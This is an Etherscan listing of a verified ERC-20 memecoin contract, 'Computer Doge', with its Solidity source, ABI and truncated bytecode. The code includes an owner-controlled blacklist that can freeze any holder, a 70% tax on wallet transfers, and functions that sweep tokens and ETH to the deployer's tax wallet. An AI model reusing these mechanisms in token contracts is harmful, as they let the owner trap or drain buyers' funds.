ERC-20
Overview
Max Total Supply
420,690,000,000 COGE
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,815,178,000 COGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Contract
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-23 */ // SPDX-License-Identifier: MIT /* https://t.me/ComputerDogeETH */ pragma solidity 0.8.27; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Contract is Context, IERC20, Ownable { string private constant _name = unicode"Computer Doge"; string private constant _symbol = unicode"COGE"; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialBuyTax=19; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=23; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=26; uint256 private _transferTax=70; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; uint256 public _maxTxAmount = 8413800000 * 10**_decimals; uint256 public _maxWalletSize = 8413800000 * 10**_decimals; uint256 public _taxSwapThreshold= 8413800000 * 10**_decimals; uint256 public _maxTaxSwap= 8413800000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(_msgSender()); _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if(_buyCount==0){ taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if(_buyCount>0){ taxAmount = amount.mul(_transferTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < 3, "Only 3 sells per block!"); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function removeTransferTax() external onlyOwner{ _transferTax = 0; emit TransferTaxUpdated(0); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function addLPToUniswap() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function manualsend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function rescueERC20(address tokenAddress) external { require(_msgSender()==_taxWallet); IERC20 token = IERC20(tokenAddress); uint256 balance = token.balanceOf(address(this)); token.transfer(_taxWallet, balance); } function rescueNative() external { require(_msgSender()==_taxWallet); IERC20 token = IERC20(address(this)); uint256 balance = token.balanceOf(address(this)); token.transfer(_taxWallet, balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLPToUniswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueNative","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601360065560176007555f6008555f6009556017600a556019600b55601a600c556046600d555f600e556009600a61003c91906105a5565b6401f580664061004c91906105ef565b600f556009600a61005d91906105a5565b6401f580664061006d91906105ef565b6010556009600a61007e91906105a5565b6401f580664061008e91906105ef565b6011556009600a61009f91906105a5565b6401f58066406100af91906105ef565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f6015555f6016555f6100fd61040660201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101a761040660201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6101f491906105a5565b6461f313f88061020491906105ef565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61025861040d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061038061040660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6103dc91906105a5565b6461f313f8806103ec91906105ef565b6040516103f9919061063f565b60405180910390a3610658565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156104b65780860481111561049257610491610434565b5b60018516156104a15780820291505b80810290506104af85610461565b9450610476565b94509492505050565b5f826104ce5760019050610589565b816104db575f9050610589565b81600181146104f157600281146104fb5761052a565b6001915050610589565b60ff84111561050d5761050c610434565b5b8360020a91508482111561052457610523610434565b5b50610589565b5060208310610133831016604e8410600b841016171561055f5782820a90508381111561055a57610559610434565b5b610589565b61056c848484600161046d565b9250905081840481111561058357610582610434565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105af82610590565b91506105ba83610599565b92506105e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104bf565b905092915050565b5f6105f982610590565b915061060483610590565b925082820261061281610590565b9150828204841483151761062957610628610434565b5b5092915050565b61063981610590565b82525050565b5f6020820190506106525f830184610630565b92915050565b6139f0806106655f395ff3fe608060405260043610610184575f3560e01c8063715018a6116100d0578063a9059cbb11610089578063d34628cc11610063578063d34628cc14610509578063dd62ed3e14610531578063ec1f3f631461056d578063fc82f084146105955761018b565b8063a9059cbb1461047b578063bf474bed146104b7578063ccec3716146104e15761018b565b8063715018a6146103a7578063751039fc146103bd5780637d1db4a5146103d35780638da5cb5b146103fd5780638f9a55c01461042757806395d89b41146104515761018b565b8063313ce5671161013d5780633edab509116101175780633edab5091461032957806351bc3c851461033f5780636fc3eaec1461035557806370a082311461036b5761018b565b8063313ce5671461029b57806331c2d847146102c55780633bbac579146102ed5761018b565b806306fdde031461018f578063095ea7b3146101b95780630faee56f146101f5578063109daa991461021f57806318160ddd1461023557806323b872dd1461025f5761018b565b3661018b57005b5f5ffd5b34801561019a575f5ffd5b506101a36105ab565b6040516101b091906128df565b60405180910390f35b3480156101c4575f5ffd5b506101df60048036038101906101da919061299d565b6105e8565b6040516101ec91906129f5565b60405180910390f35b348015610200575f5ffd5b50610209610605565b6040516102169190612a1d565b60405180910390f35b34801561022a575f5ffd5b5061023361060b565b005b348015610240575f5ffd5b506102496106e0565b6040516102569190612a1d565b60405180910390f35b34801561026a575f5ffd5b5061028560048036038101906102809190612a36565b610704565b60405161029291906129f5565b60405180910390f35b3480156102a6575f5ffd5b506102af6107d8565b6040516102bc9190612aa1565b60405180910390f35b3480156102d0575f5ffd5b506102eb60048036038101906102e69190612bfa565b6107e0565b005b3480156102f8575f5ffd5b50610313600480360381019061030e9190612c41565b610902565b60405161032091906129f5565b60405180910390f35b348015610334575f5ffd5b5061033d610954565b005b34801561034a575f5ffd5b50610353610e75565b005b348015610360575f5ffd5b50610369610f0c565b005b348015610376575f5ffd5b50610391600480360381019061038c9190612c41565b610f7b565b60405161039e9190612a1d565b60405180910390f35b3480156103b2575f5ffd5b506103bb610fc1565b005b3480156103c8575f5ffd5b506103d1611111565b005b3480156103de575f5ffd5b506103e7611244565b6040516103f49190612a1d565b60405180910390f35b348015610408575f5ffd5b5061041161124a565b60405161041e9190612c7b565b60405180910390f35b348015610432575f5ffd5b5061043b611271565b6040516104489190612a1d565b60405180910390f35b34801561045c575f5ffd5b50610465611277565b60405161047291906128df565b60405180910390f35b348015610486575f5ffd5b506104a1600480360381019061049c919061299d565b6112b4565b6040516104ae91906129f5565b60405180910390f35b3480156104c2575f5ffd5b506104cb6112d1565b6040516104d89190612a1d565b60405180910390f35b3480156104ec575f5ffd5b5061050760048036038101906105029190612c41565b6112d7565b005b348015610514575f5ffd5b5061052f600480360381019061052a9190612bfa565b611457565b005b34801561053c575f5ffd5b5061055760048036038101906105529190612c94565b61157a565b6040516105649190612a1d565b60405180910390f35b348015610578575f5ffd5b50610593600480360381019061058e9190612cd2565b6115fc565b005b3480156105a0575f5ffd5b506105a9611688565b005b60606040518060400160405280600d81526020017f436f6d707574657220446f676500000000000000000000000000000000000000815250905090565b5f6105fb6105f4611807565b848461180e565b6001905092915050565b60125481565b610613611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069790612d47565b60405180910390fd5b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516106d69190612da7565b60405180910390a1565b5f6009600a6106ef9190612f1c565b6461f313f8806106ff9190612f66565b905090565b5f6107108484846119d1565b6107cd8461071c611807565b6107c8856040518060600160405280602881526020016139936028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61077f611807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461235b9092919063ffffffff16565b61180e565b600190509392505050565b5f6009905090565b6107e8611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612d47565b60405180910390fd5b5f5f90505b81518110156108fe575f60045f84848151811061089a57610899612fa7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061087a565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b61095c611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e090612d47565b60405180910390fd5b60148054906101000a900460ff1615610a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2e9061301e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad43060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610abf9190612f1c565b6461f313f880610acf9190612f66565b61180e565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b3e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b629190613050565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c0c9190613050565b6040518363ffffffff1660e01b8152600401610c2992919061307b565b6020604051808303815f875af1158015610c45573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c699190613050565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610cf030610f7b565b5f5f610cfa61124a565b426040518863ffffffff1660e01b8152600401610d1c969594939291906130a2565b60606040518083038185885af1158015610d38573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d5d9190613115565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dfd929190613165565b6020604051808303815f875af1158015610e19573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3d91906131b6565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eb5611807565b73ffffffffffffffffffffffffffffffffffffffff1614610ed4575f5ffd5b5f610ede30610f7b565b90505f811115610ef257610ef1816123bd565b5b5f4790505f811115610f0857610f0781612628565b5b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f4c611807565b73ffffffffffffffffffffffffffffffffffffffff1614610f6b575f5ffd5b5f479050610f7881612628565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610fc9611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d90612d47565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611119611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612d47565b60405180910390fd5b6009600a6111b49190612f1c565b6461f313f8806111c49190612f66565b600f819055506009600a6111d89190612f1c565b6461f313f8806111e89190612f66565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61121d9190612f1c565b6461f313f88061122d9190612f66565b60405161123a9190612a1d565b60405180910390a1565b600f5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600481526020017f434f474500000000000000000000000000000000000000000000000000000000815250905090565b5f6112c76112c0611807565b84846119d1565b6001905092915050565b60115481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611317611807565b73ffffffffffffffffffffffffffffffffffffffff1614611336575f5ffd5b5f8190505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113749190612c7b565b602060405180830381865afa15801561138f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b391906131e1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161141192919061325e565b6020604051808303815f875af115801561142d573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061145191906131b6565b50505050565b61145f611807565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612d47565b60405180910390fd5b5f5f90505b815181101561157657600160045f84848151811061151257611511612fa7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506114f1565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661163c611807565b73ffffffffffffffffffffffffffffffffffffffff161461165b575f5ffd5b600854811115801561166f57506009548111155b611677575f5ffd5b806008819055508060098190555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116c8611807565b73ffffffffffffffffffffffffffffffffffffffff16146116e7575f5ffd5b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117259190612c7b565b602060405180830381865afa158015611740573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061176491906131e1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016117c292919061325e565b6020604051808303815f875af11580156117de573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061180291906131b6565b505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361187c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611873906132f5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190613383565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119c49190612a1d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690613411565b60405180910390fd5b5f73fffffffffffffffffffffffffffff